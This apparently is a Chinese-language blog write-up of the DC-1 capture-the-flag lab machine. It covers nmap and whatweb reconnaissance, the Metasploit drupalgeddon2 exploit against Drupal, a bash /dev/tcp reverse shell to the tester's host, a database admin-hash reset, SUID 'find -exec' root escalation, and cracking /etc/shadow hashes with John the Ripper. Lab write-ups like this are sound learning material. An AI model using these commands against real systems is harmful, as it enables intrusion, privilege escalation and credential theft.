渗透测试学习之靶机DC-1

前言
  • 开启靶机后,需要登录,感觉很真实,接下来是边学边玩吧。
    渗透测试学习之靶机DC-1
信息搜集
1. 用nmap探测一下信息;

由于不知道靶机的IP地址,毕竟是在虚拟机的靶机,跟kali同一个网段,探测一下同一网段存活的主机。
nmap -sP 192.168.246.0/24ping扫描该网段:
渗透测试学习之靶机DC-1
192.168.246.2、254是网关,138是kali的,133就肯定是靶机的地址。
nmap -sV 192.168.246.133探测端口开放与服务信息:
渗透测试学习之靶机DC-1

2. 探测到80端口,浏览器打开一下:

渗透测试学习之靶机DC-1
一个登录界面,很明显是个Drupal框架的站,下面还有powered by Drupal。
whatweb看下站点的其他信息:
whatweb http://192.168.246.133:80
渗透测试学习之靶机DC-1
3. robots.txt里的信息好像没看头。

使用msf框架
1. 直接上手msf

存在这么个CMS,看大佬思路是直接msf查,使用最新的那个:
search drupal
use use exploit/unix/webapp/drupal_drupalgeddon2
show options
set rhosts 192.168.246.133
exploit
渗透测试学习之靶机DC-1弹回shell
渗透测试学习之靶机DC-1
权限是www-data。

2. 获取flag1.txt

ls查看目录信息看到flag1.txt,cat flag1.txt
渗透测试学习之靶机DC-1
根据flag1.txt提示,config file配置文件,百度:
渗透测试学习之靶机DC-1
进入目录找到settings.php文件,获得flag2.txt:
渗透测试学习之靶机DC-1
flag2.txt提示:暴力和字典攻击并不是获得访问权限的唯一方法(而且您需要访问权限)你能用这些证件做什么?

3. 查看数据库信息

给出的数据库操作好奇怪,一步一步试,有好多表,感觉只有users和users_roles这两个表看起来有用点。
查看users表的部分信息:
渗透测试学习之靶机DC-1
可能是shell问题才会这么鸡肋,弹个交互式的shell:
bash -i > & /dev/tcp/192.168.246.138/8888 0>&1
果然正常多了…
获取到的数据库信息是一样的,但是Hash值密码难以**,重置密码
渗透测试学习之靶机DC-1
复制hash值后在数据库中修改,再登录admin、admin:
渗透测试学习之靶机DC-1
在content里发现flag3:
渗透测试学习之靶机DC-1
提示是使用-exec,但是需要足够权限。

4. 使用suid提权

查找符合条件的文件:
find / -perm -u=s -type f 2>/dev/null
渗透测试学习之靶机DC-1
如果find以suid权限运行,所有通过find执行的命令都会以root权限运行;
测试一下:
touch xl
find xl -exec whoami \;
渗透测试学习之靶机DC-1
执行一个root权限的shell:
find xl -exec '/bin/sh' \;
渗透测试学习之靶机DC-1

5. 查看/etc/passwd/etc/shadow文件:文件详解

渗透测试学习之靶机DC-1
渗透测试学习之靶机DC-1
/etc/passwd各字段含义:
用户标识号:组标识号:用户名:用户主目录:命令解释程序
/etc/shadow各字段含义:
用户名:密码hash值:最近改动日期:密码不可变更天数:密码过期预警天数:密码过期宽恕天数:账号失效日期:保留的

6. /etc/passwd**

将flag4的hash值放到shadow.txt文件中,使用John the Ripper**一下。
渗透测试学习之靶机DC-1

7. ssh连接flag4

渗透测试学习之靶机DC-1
提示flag在root里。

8. 获取thefinalflag.txt

根据flag4.txt的提示,在root里,在第四步依据取得root权限,查看目录文件后发现最终thefinalflag.txt文件。
渗透测试学习之靶机DC-1

总结
  • 第一次玩这种靶机,一直迷迷糊糊的百度,看了大佬的思路,学到了。
  • 参考文章